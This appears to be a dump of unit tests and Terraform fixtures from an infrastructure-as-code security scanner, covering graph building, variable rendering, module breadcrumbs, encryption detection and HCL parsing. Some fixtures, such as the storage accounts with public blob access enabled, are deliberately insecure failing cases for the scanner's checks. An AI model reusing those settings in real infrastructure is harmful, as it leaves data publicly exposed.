TerraformGraphManager(NetworkxConnector())\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir,\n                                                                          render_variables=True)\n        edges_hash = []\n        for e in local_graph.edges:\n            edge_hash = calculate_hash({\"origin\": e.origin, \"dest\": e.dest, \"label\": e.label})\n            if edge_hash in edges_hash:\n                origin = local_graph.vertices[e.origin]\n                dest = local_graph.vertices[e.dest]\n                self.fail(f'edge {e} == [{origin} - {e.label} -> {dest}] appears more than once in the graph')\n            else:\n                edges_hash.append(edge_hash)\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_NEW_TF_PARSER\": \"False\"})\n    def test_set_variables_values_from_modules(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/variable_rendering/render_from_module_vpc'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n\n        variables_before_module_definitions = {\n            \"cidr\": \"0.0.0.0/0\",\n            \"private_subnets\": [],\n            \"public_subnets\": [],\n            \"enable_nat_gateway\": False,\n            \"single_nat_gateway\": False,\n            \"enable_dns_hostnames\": False,\n            \"public_subnet_tags\": {},\n            \"private_subnet_tags\": {},\n        }\n\n        for var_name, var_value in variables_before_module_definitions.items():\n            vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0]\n            vertex = local_graph.vertices[vertex_index]\n            default_val = vertex.attributes['default']\n            if type(default_val) == list:\n                self.assertEqual(var_value, default_val[0])\n            else:\n                self.assertEqual(var_value, default_val)\n\n        local_graph.build_graph(resources_dir)\n\n        expected_variables_after = {\n            \"cidr\": \"172.16.0.0/16\",\n            \"private_subnets\": [\"172.16.1.0/24\", \"172.16.2.0/24\", \"172.16.3.0/24\"],\n            \"public_subnets\": [\"172.16.4.0/24\", \"172.16.5.0/24\", \"172.16.6.0/24\"],\n            \"enable_nat_gateway\": True,\n            \"single_nat_gateway\": True,\n            \"enable_dns_hostnames\": True,\n            \"public_subnet_tags\": {\"kubernetes.io/cluster/${local.cluster_name}\": \"shared\",\n                                    \"kubernetes.io/role/elb\": \"1\"},\n            \"private_subnet_tags\": {\"kubernetes.io/cluster/${local.cluster_name}\": \"shared\",\n                                    \"kubernetes.io/role/internal-elb\": \"1\"}\n        }\n\n        for var_name, var_value in expected_variables_after.items():\n            vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0]\n            vertex = local_graph.vertices[vertex_index]\n            default_val = vertex.attributes['default']\n            if type(default_val) == list:\n                self.assertEqual(var_value, default_val[0])\n            else:\n                self.assertEqual(var_value, default_val)\n\n    def test_definition_creation_by_dirs(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/variable_rendering/render_local_from_variable'))\n        hcl_config_parser = TFParser()\n        tf_definitions = hcl_config_parser.parse_directory(directory=resources_dir)\n        tf_definitions = clean_parser_types(tf_definitions)\n        tf_definitions = serialize_definitions(tf_definitions)\n\n        dirs_to_definitions = hcl_config_parser.create_definition_by_dirs(tf_definitions)\n        assert len(dirs_to_definitions) == 1\n        single_dir_element = list(dirs_to_definitions.values())[0]\n        assert list(single_dir_element[0].values()) == [{'locals': [{'__end_line__': 3, '__start_line__': 1, 'bucket_name': ['${var.var_bucket_name}']}]}]\n        assert list(single_dir_element[1].values()) == [{'variable': [{'var_bucket_name': {'__end_line__': 3, '__start_line__': 1, 'default': ['test_bucket_name']}}]}]\n\n    def test_definition_creation_by_dirs_multi_nodule(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/modules/linked_modules'))\n        hcl_config_parser = TFParser()\n        tf_definitions = hcl_config_parser.parse_directory(directory=resources_dir)\n        tf_definitions = clean_parser_types(tf_definitions)\n        tf_definitions = serialize_definitions(tf_definitions)\n\n        dirs_to_definitions = hcl_config_parser.create_definition_by_dirs(tf_definitions)\n        assert len(dirs_to_definitions) == 2\n        lambda_element = list(dirs_to_definitions.values())[0]\n        s3_bucket_element = list(dirs_to_definitions.values())[1]\n        assert len(lambda_element) + len(s3_bucket_element) == len(tf_definitions)\n        modules = hcl_config_parser.parse_multi_graph_hcl_module(resources_dir, source=self.source)\n        assert len(modules) == 2\n        assert 'lambda' in modules[0][0].source_dir\n        assert 's3-bucket' in modules[1][0].source_dir\n\n\n    def test_compare_multi_graph_defs(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/variable_rendering/render_module_postgresql'))\n        hcl_config_parser = TFParser()\n        module, defs = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source)\n        modules = hcl_config_parser.parse_multi_graph_hcl_module(resources_dir, source=self.source)\n        for idx, module_to_definitions in enumerate(modules):\n            assert module_to_definitions[0] == module\n            for att, content in defs.items():\n                found = False\n                for content_dict in module_to_definitions[1]:\n                    for key, value in content_dict.items():\n                        if value == content:\n                            found = True\n                            break\n                    if found:\n                        break\n                assert found\n\n    def test_set_variables_values_from_modules_with_new_tf_parser(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/variable_rendering/render_from_module_vpc'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n\n        variables_before_module_definitions = {\n            \"cidr\": \"0.0.0.0/0\",\n            \"private_subnets\": [],\n            \"public_subnets\": [],\n            \"enable_nat_gateway\": False,\n            \"single_nat_gateway\": False,\n            \"enable_dns_hostnames\": False,\n            \"public_subnet_tags\": {},\n            \"private_subnet_tags\": {},\n        }\n\n        for var_name, var_value in variables_before_module_definitions.items():\n            vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0]\n            vertex = local_graph.vertices[vertex_index]\n            default_val = vertex.attributes['default']\n            if type(default_val) == list:\n                self.assertEqual(var_value, default_val[0])\n            else:\n                self.assertEqual(var_value, default_val)\n\n        local_graph.build_graph(resources_dir)\n\n        expected_variables_after = {\n            \"cidr\": \"172.16.0.0/16\",\n            \"private_subnets\": [\"172.16.1.0/24\", \"172.16.2.0/24\", \"172.16.3.0/24\"],\n            \"public_subnets\": [\"172.16.4.0/24\", \"172.16.5.0/24\", \"172.16.6.0/24\"],\n            \"enable_nat_gateway\": True,\n            \"single_nat_gateway\": True,\n            \"enable_dns_hostnames\": True,\n            \"public_subnet_tags\": {\"kubernetes.io/cluster/${local.cluster_name}\": \"shared\",\n                                    \"kubernetes.io/role/elb\": \"1\"},\n            \"private_subnet_tags\": {\"kubernetes.io/cluster/${local.cluster_name}\": \"shared\",\n                                    \"kubernetes.io/role/internal-elb\": \"1\"}\n        }\n\n        for var_name, var_value in expected_variables_after.items():\n            vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0]\n            vertex = local_graph.vertices[vertex_index]\n            default_val = vertex.attributes['default']\n            if type(default_val) == list:\n                self.assertEqual(var_value, default_val[0])\n            else:\n                self.assertEqual(var_value, default_val)\n\n    def test_encryption_aws(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n        local_graph.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE)\n        all_attributes = [vertex.get_attribute_dict() for vertex in local_graph.vertices]\n        for attribute_dict in all_attributes:\n            [resource_type, resource_name] = attribute_dict[CustomAttributes.ID].split(\".\")\n            if resource_type in ENCRYPTION_BY_RESOURCE_TYPE:\n                is_encrypted = attribute_dict[CustomAttributes.ENCRYPTION]\n                details = attribute_dict[CustomAttributes.ENCRYPTION_DETAILS]\n                self.assertEqual(is_encrypted, EncryptionValues.ENCRYPTED.value if resource_name.startswith(\"encrypted\")\n                                 else EncryptionValues.UNENCRYPTED.value, f'failed for \"{resource_type}.{resource_name}\"')\n                if is_encrypted == EncryptionValues.ENCRYPTED.value:\n                    if 'kms_key_id' in attribute_dict or 'kms_master_key_id' in attribute_dict:\n                        self.assertEqual(details, EncryptionTypes.KMS_VALUE.value, f'Bad encryption details for \"{resource_type}.{resource_name}\"')\n                    else:\n                        self.assertIn(details, [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value, EncryptionTypes.NODE_TO_NODE.value, EncryptionTypes.DEFAULT_KMS.value], f'Bad encryption details for \"{resource_type}.{resource_name}\"')\n                else:\n                    self.assertEqual(details, \"\")\n            else:\n                self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION))\n                self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION_DETAILS))\n\n    def test_vertices_from_local_graph(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                      '../resources/variable_rendering/render_from_module_vpc'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n        tf_definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(local_graph.vertices, resources_dir)\n        self.assertIsNotNone(tf_definitions)\n        self.assertIsNotNone(breadcrumbs)\n\n    def test_blocks_from_local_graph_module(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/stacks'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source)\n        self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.RESOURCE and block.name == 'aws_s3_bucket.inner_s3', module.blocks))), 3)\n        self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 'inner_module_call', module.blocks))), 3)\n        self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 's3', module.blocks))), 3)\n        self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 'sub-module', module.blocks))), 1)\n\n    def test_vertices_from_local_graph_module(self):\n        parent_dir = Path(TEST_DIRNAME).parent\n        resources_dir = str(parent_dir / \"resources/modules/stacks\")\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(render_variables=True)\n\n        self.assertEqual(12, len(local_graph.edges))\n\n        # check vertex breadcrumbs\n        bucket_vertex_1 = next(\n            vertex\n            for vertex in local_graph.vertices\n            if vertex.name == \"aws_s3_bucket.inner_s3\" and vertex.source_module == {6}\n        )\n        bucket_vertex_2 = next(\n            vertex\n            for vertex in local_graph.vertices\n            if vertex.name == \"aws_s3_bucket.inner_s3\" and vertex.source_module == {7}\n        )\n        bucket_vertex_3 = next(\n            vertex\n            for vertex in local_graph.vertices\n            if vertex.name == \"aws_s3_bucket.inner_s3\" and vertex.source_module == {8}\n        )\n\n        expected_vertex_1_breadcrumbs = {\n                \"versioning.enabled\": [\n                    {\n                        \"type\": \"module\",\n                        \"name\": \"inner_module_call\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/main.tf\"),\n                        \"module_connection\": False,\n                    },\n                    {\n                        \"type\": \"variable\",\n                        \"name\": \"versioning\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/inner/variables.tf\"),\n                        \"module_connection\": False,\n                    },\n                ],\n                \"source_module_\": [\n                    {\n                        'type': 'module',\n                        'name': 'sub-module',\n                        'path': str(parent_dir / 'resources/modules/stacks/prod/main.tf'),\n                        'idx': 12,\n                        'source_module_object': None\n                    }\n                    ,\n                    {\n                        'type': 'module',\n                        'name': 's3',\n                        'path': str(parent_dir / 'resources/modules/stacks/prod/sub-prod/main.tf'),\n                        'idx': 13,\n                        'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/main.tf'),\n                                                         name='sub-module', foreach_idx=None, nested_tf_module=None)\n                    }\n                    ,\n                    {\n                        'type': 'module',\n                        'name': 'inner_module_call',\n                        'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'),\n                        'idx': 6,\n                        'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/sub-prod/main.tf'),\n                                                         name='s3', foreach_idx=None,\n                                                         nested_tf_module=TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/main.tf'),\n                                                                                   name='sub-module', foreach_idx=None,\n                                                                                   nested_tf_module=None)\n                                                         )\n                    }\n                ],\n            }\n\n        self.assertDictEqual(expected_vertex_1_breadcrumbs, bucket_vertex_1.breadcrumbs)\n\n        expected_vertex_2_breadcrumbs = {\n                \"versioning.enabled\": [\n                    {\n                        \"type\": \"module\",\n                        \"name\": \"inner_module_call\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/main.tf\"),\n                        \"module_connection\": False,\n                    },\n                    {\n                        \"type\": \"variable\",\n                        \"name\": \"versioning\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/inner/variables.tf\"),\n                        \"module_connection\": False,\n                    },\n                ],\n                \"source_module_\": [\n                    {\n                        'type': 'module',\n                        'name': 's3',\n                        'path': str(parent_dir / 'resources/modules/stacks/stage/main.tf'),\n                        'idx': 14,\n                        'source_module_object': None\n                    },\n                    {\n                        'type': 'module',\n                        'name': 'inner_module_call',\n                        'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'),\n                        'idx': 7,\n                        'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/stage/main.tf'),\n                                                         name='s3', foreach_idx=None, nested_tf_module=None)\n                    }\n                ],\n            }\n        self.assertDictEqual(expected_vertex_2_breadcrumbs, bucket_vertex_2.breadcrumbs)\n\n        expected_vertex_3_breadcrumbs = {\n                \"versioning.enabled\": [\n                    {\n                        \"type\": \"module\",\n                        \"name\": \"inner_module_call\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/main.tf\"),\n                        \"module_connection\": False,\n                    },\n                    {\n                        \"type\": \"variable\",\n                        \"name\": \"versioning\",\n                        \"path\": str(parent_dir / \"resources/modules/s3_inner_modules/inner/variables.tf\"),\n                        \"module_connection\": False,\n                    },\n                ],\n                \"source_module_\": [\n                    {\n                        'type': 'module',\n                        'name': 's3',\n                        'path': str(parent_dir / 'resources/modules/stacks/test/main.tf'),\n                        'idx': 15,\n                        'source_module_object': None\n                    },\n                    {\n                        'type': 'module',\n                        'name': 'inner_module_call',\n                        'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'),\n                        'idx': 8,\n                        'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/test/main.tf'),\n                                                         name='s3', foreach_idx=None, nested_tf_module=None)\n                    }\n                ],\n        }\n        self.assertDictEqual(expected_vertex_3_breadcrumbs, bucket_vertex_3.breadcrumbs)\n\n    def test_variables_same_name_different_modules(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/same_var_names'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source)\n        local_graph = TerraformLocalGraph(module)\n        local_graph.build_graph(render_variables=True)\n        print(local_graph.edges)\n        self.assertEqual(12, len(local_graph.edges))\n        self.assertEqual(13, len(local_graph.vertices))\n\n        module_variable_edges = [\n            e for e in local_graph.edges\n            if local_graph.vertices[e.dest].block_type == \"module\" and local_graph.vertices[e.dest].path.endswith(\n                'same_var_names/module2/main.tf')\n        ]\n\n        # Check they point to 2 different modules\n        self.assertEqual(2, len(module_variable_edges))\n        self.assertNotEqual(local_graph.vertices[module_variable_edges[0].origin],\n                            local_graph.vertices[module_variable_edges[1].origin])\n\n\n        module_variable_edges = [\n            e for e in local_graph.edges\n            if local_graph.vertices[e.dest].block_type == \"module\" and local_graph.vertices[e.dest].path.endswith('same_var_names/module1/main.tf')\n        ]\n\n        # Check they point to 2 different modules\n        self.assertEqual(2, len(module_variable_edges))\n        self.assertNotEqual(local_graph.vertices[module_variable_edges[0].origin], local_graph.vertices[module_variable_edges[1].origin])\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/test_oci_policy.py",
    "content": "\"\"\"Test if OCI policy statements are evaluated correctly.\"\"\"\n\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.terraform.graph_manager import TerraformGraphManager\n\ndef test_oci_policy_statements_with_provider_env_var():\n    # given\n    resources_dir = Path(__file__).parent.parent / \"resources/oci_policies\"\n    graph_manager = TerraformGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph, _ = graph_manager.build_graph_from_source_directory(\n        source_dir=str(resources_dir), render_variables=True\n    )\n\n    # then\n    statements = local_graph.vertices[0].config[\"oci_identity_policy\"][\"example\"][\"statements\"][0]\n    assert statements == [\n        \"allow group group-admin-001 to use groups in tenancy where target.group.name != 'Administrators'\"\n    ]\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/test_terraform_graph_parser.py",
    "content": "import os\n\nfrom lark import Tree\n\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.modules.module_utils import clean_parser_types\nfrom checkov.terraform.tf_parser import TFParser\nfrom unittest import TestCase\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestParser(TestCase):\n    def test_bool_parsing_avoid_remove_non_existing(self):\n        conf = {'test': ['Bool'], 'variable': ['aws:SecureTransport'], 'values': [['false']]}\n        actual = clean_parser_types(conf)\n        expected = {'test': ['Bool'], 'variable': ['aws:SecureTransport'], 'values': [[False]]}\n        self.assertDictEqual(expected, actual)\n\n    def test_bool_parsing_sort_only_lists(self):\n        conf = {'enabled_metrics': [['a', 'c', 'b'], 'b', 'a', 'c']}\n        actual = clean_parser_types(conf)\n        expected = {'enabled_metrics': [['a', 'b', 'c'], 'a', 'b', 'c']}\n        self.assertDictEqual(expected, actual)\n\n    def test_bool_parsing_sort_only_lists_with_bools(self):\n        conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false']}\n        actual = clean_parser_types(conf)\n        expected = {'enabled_metrics': [[True, False, 'a'], True, False, 'b']}\n        self.assertDictEqual(expected, actual)\n\n    def test_set_parsing_to_list(self):\n        conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false'], 'example_set': [{'1', '2', '3'}]}\n        actual = clean_parser_types(conf)\n        expected = {'enabled_metrics': [[True, False, 'a'], True, False, 'b'], 'example_set': [['1', '2', '3']]}\n        self.assertDictEqual(expected, actual)\n\n    def test_tree_parsing_to_str(self):\n        conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false'], 'example_set': Tree(\"data\", [\"child1\", \"child2\"])}\n        actual = clean_parser_types(conf)\n        expected = {'enabled_metrics': [[True, False, 'a'], True, False, 'b'], 'example_set': 'Tree(\\'data\\', [\\'child1\\', \\'child2\\'])'}\n        self.assertDictEqual(expected, actual)\n\n    def test_hcl_parsing_consistent_old_new(self):\n        cur_dir = os.path.dirname(os.path.realpath(__file__))\n        tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_regular'\n        old_tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_old'\n        _, tf_definitions = TFParser().parse_hcl_module(tf_dir, 'AWS')\n        _, old_tf_definitions = TFParser().parse_hcl_module(old_tf_dir, 'AWS')\n        definition_value = list(tf_definitions.values())[0]\n        old_definition_value = list(tf_definitions.values())[0]\n        self.assertDictEqual(definition_value, old_definition_value)\n\n    def test_hcl_parsing_old_booleans_correctness(self):\n        cur_dir = os.path.dirname(os.path.realpath(__file__))\n        tf_dir = f'{cur_dir}/../resources/tf_parsing_comparison/tf_regular'\n        _, tf_definitions = TFParser().parse_hcl_module(tf_dir, 'AWS')\n        expected = [\n            {\n                \"aws_cloudtrail\": {\n                    \"tfer--cashdash_trail\": {\n                        \"__end_line__\": 11,\n                        \"__start_line__\": 1,\n                        \"enable_log_file_validation\": [True],\n                        \"enable_logging\": [True],\n                        \"include_global_service_events\": [True],\n                        \"is_multi_region_trail\": [True],\n                        \"is_organization_trail\": [False],\n                        \"kms_key_id\": [\"arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1\"],\n                        \"name\": [\"cashdash_trail\"],\n                        \"s3_bucket_name\": [\"cashdash-trail\"],\n                        \"sns_topic_name\": [\"arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic\"],\n                    }\n                }\n            },\n            {\n                \"google_compute_instance\": {\n                    \"tfer--sentry-002D-v1\": {\n                        \"__end_line__\": 67,\n                        \"__start_line__\": 13,\n                        \"attached_disk\": [\n                            {\n                                \"device_name\": [\"sentry\"],\n                                \"mode\": [\"READ_WRITE\"],\n                                \"source\": [\n                                    \"https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1\"\n                                ],\n                            }\n                        ],\n                        \"boot_disk\": [\n                            {\n                                \"auto_delete\": [True],\n                                \"device_name\": [\"persistent-disk-0\"],\n                                \"initialize_params\": [\n                                    {\n                                        \"image\": [\n                                            \"https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910\"\n                                        ],\n                                        \"size\": [\"10\"],\n                                        \"type\": [\"pd-standard\"],\n                                    }\n                                ],\n                                \"kms_key_self_link\": [\n                                    \"projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key\"\n                                ],\n                                \"mode\": [\"READ_WRITE\"],\n                                \"source\": [\n                                    \"https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1\"\n                                ],\n                            }\n                        ],\n                        \"can_ip_forward\": [False],\n                        \"deletion_protection\": [False],\n                        \"enable_display\": [False],\n                        \"machine_type\": [\"n1-standard-2\"],\n                        \"metadata\": [{\"block-project-ssh-keys\": True, \"some-other-attribute\": False}],\n                        \"name\": [\"sentry-v1\"],\n                        \"network_interface\": [\n                            {\n                                \"access_config\": [{\"nat_ip\": [\"34.106.48.192\"], \"network_tier\": [\"PREMIUM\"]}],\n                                \"network\": [\n                                    \"https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme\"\n                                ],\n                                \"network_ip\": [\"10.40.0.53\"],\n                                \"subnetwork\": [\n                                    \"https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry\"\n                                ],\n                                \"subnetwork_project\": [\"acme-project\"],\n                            }\n                        ],\n                        \"project\": [\"acme-project\"],\n                        \"scheduling\": [\n                            {\"automatic_restart\": [True], \"on_host_maintenance\": [\"MIGRATE\"], \"preemptible\": [False]}\n                        ],\n                        \"service_account\": [\n                            {\n                                \"email\": [\"sentry-vm@acme-project.iam.gserviceaccount.com\"],\n                                \"scopes\": [\n                                    [\n                                        \"https://www.googleapis.com/auth/devstorage.read_only\",\n                                        \"https://www.googleapis.com/auth/logging.write\",\n                                        \"https://www.googleapis.com/auth/monitoring.write\",\n                                        \"https://www.googleapis.com/auth/userinfo.email\",\n                                    ]\n                                ],\n                            }\n                        ],\n                        \"shielded_instance_config\": [\n                            {\n                                \"enable_integrity_monitoring\": [True],\n                                \"enable_secure_boot\": [False],\n                                \"enable_vtpm\": [True],\n                            }\n                        ],\n                        \"tags\": [[\"allow-sentry\", \"allow-ssh\"]],\n                        \"zone\": [\"us-west3-b\"],\n                    }\n                }\n            },\n        ]\n        definition_key = TFDefinitionKey(file_path=os.path.join(tf_dir, \"main.tf\"), tf_source_modules=None)\n        tf_definitions_resources = tf_definitions[definition_key]['resource']\n        for index in range(len(tf_definitions_resources)):\n            self.assertDictEqual(\n                tf_definitions_resources[index],\n                expected[index]\n            )\n\n    def test_hcl_parsing_sorting(self):\n        source_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                   '../resources/tf_parsing_comparison/modifications_diff'))\n        config_parser = TFParser()\n        _, tf_definitions = config_parser.parse_hcl_module(source_dir, 'AWS')\n        expected = ['https://www.googleapis.com/auth/devstorage.read_only', 'https://www.googleapis.com/auth/logging.write',\n                    'https://www.googleapis.com/auth/monitoring.write', 'https://www.googleapis.com/auth/service.management.readonly',\n                    'https://www.googleapis.com/auth/servicecontrol', 'https://www.googleapis.com/auth/trace.append']\n        defintion_key = TFDefinitionKey(file_path=os.path.join(source_dir, \"main.tf\"), tf_source_modules=None)\n        result_resource = tf_definitions[defintion_key]['resource'][0]['google_compute_instance']['tfer--test3']['service_account'][0]['scopes'][0]\n        self.assertListEqual(result_resource, expected)\n\n    def test_build_graph_with_linked_modules(self):\n        source_dir = os.path.realpath(os.path.join(TEST_DIRNAME,\n                                                   '../resources/nested_modules_double_call'))\n        config_parser = TFParser()\n\n        definitions = config_parser.parse_directory(source_dir)\n        assert len(definitions.keys()) == 13\n        assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf' not in definitions\n        assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf#0]' not in definitions\n        assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/four/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf#0[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/main.tf#0]]' not in definitions\n        assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf' not in definitions\n        assert '/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/four/main.tf[/Users/arosenfeld/Desktop/dev/checkov/tests/terraform/graph/resources/nested_modules_double_call/third/main.tf#0]' not in definitions\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/test_utils.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/resources/array_test/main.tf",
    "content": "resource \"aws_xyz\" \"pass1\" {\n  arr = [\n    \"allowed1\"\n  ]\n  a_string = \"abc\"\n}\n\nresource \"aws_xyz\" \"pass2\" {\n  arr = [\n    \"allowed1\",\n    \"allowed3\"\n  ]\n}\n\nresource \"aws_xyz\" \"pass3\" {\n  arr = [\n  ]\n}\n\n//resource \"aws_xyz\" \"fail1\" {\n//  arr = [\n//    \"allowed1\",\n//    \"notallowed\"\n//  ]\n//}\n\nresource \"aws_xyz\" \"fail2\" {\n  arr = [\n    \"notallowed\",\n    \"alsonotallowed\"\n  ]\n}\n\nresource \"aws_xyz\" \"fail3\" {\n  arr = [\n    \"notallowed\"\n  ]\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/arrays/main.tf",
    "content": "resource \"x\" \"pass1\" {\n  arr = [\n    \"allowed1\"\n  ]\n}\n\nresource \"x\" \"pass2\" {\n  arr = [\n  ]\n}\n\nresource \"x\" \"pass3\" {\n  arr = [\n    \"allowed3\",\n    \"allowed1\"\n  ]\n}\n\nresource \"x\" \"pass4\" {\n  arr = \"allowed2\"\n}\n\nresource \"x\" \"fail1\" {\n  arr = [\n    \"xxx\"\n  ]\n}\n\nresource \"x\" \"fail2\" {\n  arr = [\n    \"xxx\",\n    \"yyy\"\n  ]\n}\n\nresource \"x\" \"fail3\" {\n  arr = [\n    \"xxx\",\n    \"allowed1\"\n  ]\n}\n\nresource \"x\" \"fail4\" {\n  arr = \"xxx\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/azure_secure_rule/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_network_security_group\" \"example\" {\n  name                = \"acceptanceTestSecurityGroup1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n}\n\nresource \"azurerm_network_security_group\" \"sg_fail\" {\n  # this will fail DoNotUseInlineRule\n  name                = \"sg-fail\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  security_rule = [\n    {\n      name                    = \"rule_we_care_about\"\n      source_address_prefixes = [\"allowed_ip\"]\n    },\n    {\n      name                    = \"rule_we_do not_care_about\"\n      source_address_prefixes = [\"some_other_ip\"]\n    }\n  ]\n}\n\nresource \"azurerm_network_security_group\" \"sg_fail2\" {\n  # this will fail DoNotUseInlineRule\n  name                = \"sg-fail\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n\n  security_rule = [\n    {\n      name                    = \"rule_we_care_about\"\n      source_address_prefixes = [\"disallowed_ip\"]\n    },\n    {\n      name                    = \"rule_we_do not_care_about2\"\n      source_address_prefixes = [\"allowed_ip\"]\n    }\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/resources/boolean_test/main.tf",
    "content": "resource \"azurerm_storage_account\" \"fail1\" {\n  allow_blob_public_access = true\n}\n\nresource \"azurerm_storage_account\" \"fail2\" {\n  allow_blob_public_access = \"true\"\n}\n\nresource \"azurerm_storage_account\" \"fail3\" {\n\n}\n\nresource \"azurerm_storage_account\" \"pass1\" {\n  allow_blob_public_access = false\n}\n\nresource \"azurerm_storage_account\" \"pass2\" {\n  allow_blob_public_access = \"false\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/complex/main.tf",
